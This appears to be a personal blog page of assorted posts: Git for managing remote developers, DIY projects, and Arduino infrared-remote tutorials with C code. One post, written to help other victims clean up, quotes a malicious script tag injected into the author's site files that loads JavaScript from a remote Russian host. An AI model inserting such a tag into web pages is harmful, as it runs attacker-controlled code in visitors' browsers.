Manage virtual assistant using Git

August 14th, 2010 pchretien No comments

It is now easy as 1-2-3 to hire a Virtual Assistant to help you out with your software development projects. You don’t have to be a large corporation to work with these oversea companies. The key to success with impartition reside, as many will tell you, in two things.

First, your ability to clearly define the work to do. You will get through it with time and practice. Communication is most often very hard because of the distance and the language barrier.

Second, your ability to control the quality and the velocity of the code produced by the team and to merge it to the final product. For that task you can get help from technologies such as Git, a distributed source control application.

Git is a free & open source, distributed version control system designed to handle everything from small to very large projects with speed and efficiency. Every Git clone is a full-fledged repository with complete history and full revision tracking capabilities, not dependent on network access or a central server. Branching and merging are very low cost compared to server based source control systems.

In the context of impartition, Git becomes very effective because there is no need for the developers to know about it. Here is the sequence I use to work with remote Virtual Assistants:

  1. Since branching in Git is very effective and low cost, you start by creating a branch for a specific developer.
  2. Checkout the user branch
  3. Zip the project and send it to the programmer.
  4. Repeat 1 to 3 for all programmers.
  5. Once a programmer send back a zip of the project, you can use Git to view and merge all changes made by this user.

This can only be done on a distributed source control application. If you have several developer for a longer period of time, you may want to take time to teach Git to them so they can send you patches to simplify the merge process.

Rainstick – A new instructable

July 27th, 2010 pchretien No comments

I posted a new instructable on how to build a rainstick using an old wood window blind. You can see it here.

Rainstick made from wood window blindsMore DIY How To Projects

Categories: Uncategorized Tags:

Sites attacked by script virus

July 22nd, 2010 pchretien No comments

I found two of my sites infected by a virus. The following script was found at the end of all *.js, index*.html and index*.php files in my site:

<script type=”text/javascript” src=”http://pantscow.ru:8080/Vector_Graphic.js”></script>
<!–354d9b158e9c0f740d016556c9aa29ef–>

The domain name in the script changes almost every two days so it is not easy to find help on the web about that kind of threat.

First of all, change your FTP passwords and remove anonymous access if any. These attacks are made through FTP access most of the time.

Once the site secured, you have to fix the problem. In a Joomla or WordPress site, there are thousands of these files. It is impossible to change it all online so I downloaded a copy of the entire site on my drive and removed the script from all infected files using search/replace tools. I recommend TextPad for that.

When all infested files have been fixed, I uploaded all modified files to the site and the problem was gone. That took me almost 4 hours to figure out what happened and fix it. That is a lot of time for a production site.

I hope that could help someone out there. If you have any questions please write me in the comment section.

Make a bench dog for less than 1$

July 13th, 2010 pchretien No comments

Opting out …

May 21st, 2010 pchretien No comments

I just opt-out from Twitter and Facebook. Since they keep all your account data in their system upon deactivation, I first deleted all my pictures, personal information, friends, followers, etc.

This has nothing to do with concerns about privacy. This is only a matter of focusing on important and useful stuff. These media are asking me too much time for the bits of  information and entertainment I get from it.

I’ll call or email my family and my friends … I don’t want to know what they do on a daily basis. Having a drink still is my favorite way to meet my friends … my real friends.

Wikipathia game for mobiles

January 30th, 2010 pchretien No comments

I love Wikipathia, a game for iPhone and Android made by Urbian Inc. The objective of the game is dead simple, find the shortest path between two Wikipedia articles following the links in the page. For example, here is the path I found between “Galileo Galilei” and “Espionage”:

Galileo Galilei -> Albert Einstein -> Nucelar Power -> USSR -> Soviet Union -> Cold War -> NKVD -> Espionage

Urbania also have many other good games for both iPhone and Android.

Wikipathia home page: http://www.urbian.biz/apps/wikipathia/

P.

Categories: Uncategorized Tags:

Do you think it is a bad practice to write a complete email message in the subject field? I think it is! Please, twit on twitter!

November 11th, 2009 pchretien 1 comment
Categories: Opinion Tags: ,

Q-Steer Mazda RX-8 tiny RC car

October 30th, 2009 pchretien No comments

L’année dernière j’ai acheté ce petit bolide téléguidé chez Think Geek … quelques semaine plus tard j’ai acheté une caméra vidéo. Le vidéo qui suit était inévitable!

Categories: Fun Tags: , , ,

Arduino and infrared … (part 2)

October 10th, 2009 pchretien No comments
ir arduino

Arduino and infrared (IR) remotes (Part 2)

In the first article of the series, I explained how to break the code of a standard infrared remote control. In this article, we will use these results to control real world devices. The so called “real world devices” are, at this point of the project, three LEDs. I’ll keep lamps and washing machines control for the next article about X-10 control.

The first step is to convert the pulses we receive into streams of bits. The remote we will use for this project is an old air conditioning remote control. Following are the results for the remote control protocol:

  • Threshold start pulse duration: 4000 micro seconds
  • Threshold “1″ bit pulse duration: 1500 micro seconds
  • Threshold ”0″ bit pulse duration: 400 micro seconds
  • Threshold repeat pulse duration: 2000 micro seconds
  • Bit stream length: 32 bits

These values are used to build binary streams to reconstruct the 32 bit commands emitted by the remote control. Once the code values are known, we can add behavior in our micro controller. The command code is built using X-Or operations with the bits received from the remote.

The power-on/power-off command of our remote control match the decimal number 279939191. When the button is pressed, the red LED is toggled on/off. The green LED is turned off during the time the Arduino is processing a command. If a new command is sent while the green LED is off, the program wont be able to catch it. Finally, the yellow led is flashes ON for 50 milliseconds every time a repeat command is received.

Using this code you can control about anything you want using an infrared remote control. In the next article we will control lamps through X-10 power line protocol.

Philippe Chrétien

#define DEBUG 0

#define IR_LED 7
#define GREEN_LED 6
#define RED_LED 5
#define YELLOW_LED 4

#define MAX 128
#define MICRO_STEP 10

#define IDLE_PULSE 10000
#define START_PULSE 4000
#define REPEAT_PULSE 2000
#define ONE_PULSE 1500
#define ZERO_PULSE 400

unsigned long pulses[MAX];
unsigned long code = 0;
int red_led_state = 0;

void setup()
{
  pinMode(IR_LED, INPUT);
  pinMode(RED_LED, OUTPUT);
  pinMode(GREEN_LED, OUTPUT);
  pinMode(YELLOW_LED, OUTPUT);
  digitalWrite(RED_LED, LOW);
  digitalWrite(GREEN_LED, HIGH);
  digitalWrite(YELLOW_LED, LOW);

  // For debug
  Serial.begin(115200);
}

void loop()
{
  // The IR receiver output is set HIGH until a signal comes in ...
  if( digitalRead(IR_LED) == LOW)
  {
    // No command can be received while the green LED is off
    digitalWrite(GREEN_LED, LOW);

    //Start receiving data ...
    int count = 0; // Number of pulses
    int exit = 0;
    while(!exit)
    {
      while( digitalRead(IR_LED) == LOW )
        delayMicroseconds(MICRO_STEP);

      // Store the time when the pulse begin
      unsigned long start = micros();
      int max_high = 0;
      while( digitalRead(IR_LED) == HIGH )
      {
        delayMicroseconds(MICRO_STEP);
        max_high += MICRO_STEP;
        if( max_high > IDLE_PULSE )
        {
          exit = 1;
          break;
        }
      }

      unsigned long duration = micros() - start;
      pulses[count++] = duration;
    }

    // Build code from pulses
    int repetitions = 0;
    int bit_position = 0;
    unsigned long bit = 2147483648; // 10000000000000000000000000000000 in binary
    unsigned long new_code = 0;
    for(int i=0; i<count; i++)
    {
      if(pulses[i] > IDLE_PULSE)
      {
        // Ignore very long pulses
        continue;
      }
      else if(pulses[i] > START_PULSE)
      {
        // Start pulse received ... start counting bits
        new_code = 0;
        bit_position = 0;
      }
      else if(pulses[i] > REPEAT_PULSE)
      {
        // Repetition command ... no bit pulses here.
        repetitions++;
      }
      else if(pulses[i] > ONE_PULSE)
      {
        // Receives "1"
        if(DEBUG)
          Serial.print("1");
        new_code |= bit >> bit_position++;
      }
      else if(pulses[i] > ZERO_PULSE)
      {
        // Receives "0"
        if(DEBUG)
          Serial.print("0");

        bit_position++;
      }
    }

    if( new_code )
    {
      // This was not a repeat command
      code = new_code;
    }

    // Display the code received and number of bits or, repetitions.
    if(DEBUG)
    {
      if( !new_code)
      {
        Serial.print("                                ");
      }

      Serial.print("     ");
      Serial.print(bit_position, DEC);
      Serial.print(" bits ");
      Serial.print(repetitions, DEC);
      Serial.print(" repetition(s) code = ");
      Serial.print(code, BIN);
      Serial.print(" (");
      Serial.print(code, DEC);
      Serial.print(")");
      Serial.println("");
    }

    // Flashes the yellow LED for every repeat commands
    if( repetitions > 0 )
    {
      for( int i=0; i<repetitions; i++)
      {
        digitalWrite(YELLOW_LED, HIGH);
        delay(50);
        digitalWrite(YELLOW_LED, LOW);
        delay(50);
      }
    }

    // Toggle red LED when power button command is received
    if( code == 279939191 && bit_position > 0)
    {
      red_led_state ^= 1;

      if(red_led_state)
        digitalWrite(RED_LED, HIGH);
      else
        digitalWrite(RED_LED, LOW);
    }

    // Ready to process an other command
    digitalWrite(GREEN_LED, HIGH);
  }
}
Categories: Arduino, Code Tags: , , ,

Arduino and infrared (IR) remotes

September 28th, 2009 pchretien No comments

This Article is the first of a series about programming an Arduino micro controller to control X-10 devices using an infrared (IR) remote control. This is a relatively cheap project. To make the first part of this project you will need an Arduino micro-controller, an IR receiver and any IR remote control. The overall cost should not exceed 50$.

Arduino and IR receiver

Arduino and IR receiver

First you need to crack the protocol of the IR remote control you picked up. You can pretty much use any IR remote control you have in your house. No complex circuit is required. If you purchased the ZX-IRM infrared receiver, you can connect it directly to your Arduino board. Otherwise, you will find plenty of information on the web on how to build an IR receiver.

Infrared communication is carried using pulses of infrared light. Most packet of data will contains around 16 bits of data. The duration of the light pulse determine if the bit transfered is 0 or 1. The following program displays all light pulses received through the infrared (IR) receiver. This information will help you crack the protocol used by your remote control. Because of delays produced by the Serial communication with the Arduino board, there may be some inconsistencies in the data displayed. I recommend pressing more than once the remote key to get an accurate reading of the binary stream received.

These are the things you first have to look at by reading the program outputs:

  • The duration of the START pulse.
  • The duration of 0 and 1 pulses.
  • The presence and duration of a STOP/REPEAT pulse.
  • The length, in bits, of the data stream.
#define IR_LED 7
#define MAX 128
#define MICRO_STEP 10
#define IDLE_PULSE 10000

unsigned long pulses[MAX];

void setup()
{
  pinMode(IR_LED, INPUT);
  Serial.begin(115200);
}

void loop()
{
  // The IR receiver output is set HIGH until a signal comes in ...
  if( digitalRead(IR_LED) == LOW)
  {
    //Start receiving data ...
    int count = 0;
    int exit = 0;
    while(!exit)
    {
      while( digitalRead(IR_LED) == LOW )
        delayMicroseconds(MICRO_STEP);

      // Store the time when the pulse begin
      unsigned long start = micros();

      int max_high = 0;
      while( digitalRead(IR_LED) == HIGH )
      {
        delayMicroseconds(MICRO_STEP);
        max_high += MICRO_STEP;
        if( max_high > IDLE_PULSE )
        {
          exit = 1;
          break;
        }
      }

      unsigned long duration = micros() - start;
      pulses[count++] = duration;
    }

    for(int i=0; i<count; i++)
    {
      if(pulses[i] > IDLE_PULSE)
      {
        Serial.print("<");
        Serial.print(pulses[i], DEC);
        Serial.print(">|");
      }
      else
      {
        Serial.print(pulses[i], DEC);
        Serial.print("|");
      }
    }

    Serial.println(".");
  }
}

The start pulse is always the first and longest pulse of the stream. This pulse marks the starting point of the data stream. Following the start pulse are the data bits. There is no standard for this stream of bits but you will usually find about 8 to 16 bits of data.

Following the data stream you should look for the stop pulse. The stop pulse is not mandatory. In most protocols, the stop pulse is used to signal command repetition. If the user maintain the remote button pressed, the stop pulse is send repeatedly until the button is released. If there is no stop pulse, the data stream, starting with the start pulse, is repeatedly sent in its entirety when the remote button is maintained pressed.

Finally you should look for the length of the data stream sent by the remote control every time a button is pressed. Most new remotes are using a fixed length data stream. You can easily determine the length of the stream by counting the number 0 and 1 pulses received for each command.

In the next article I will put all that together and start writing some code to use the remote control.

Philippe Chrétien

Categories: Arduino, Code Tags: , , , ,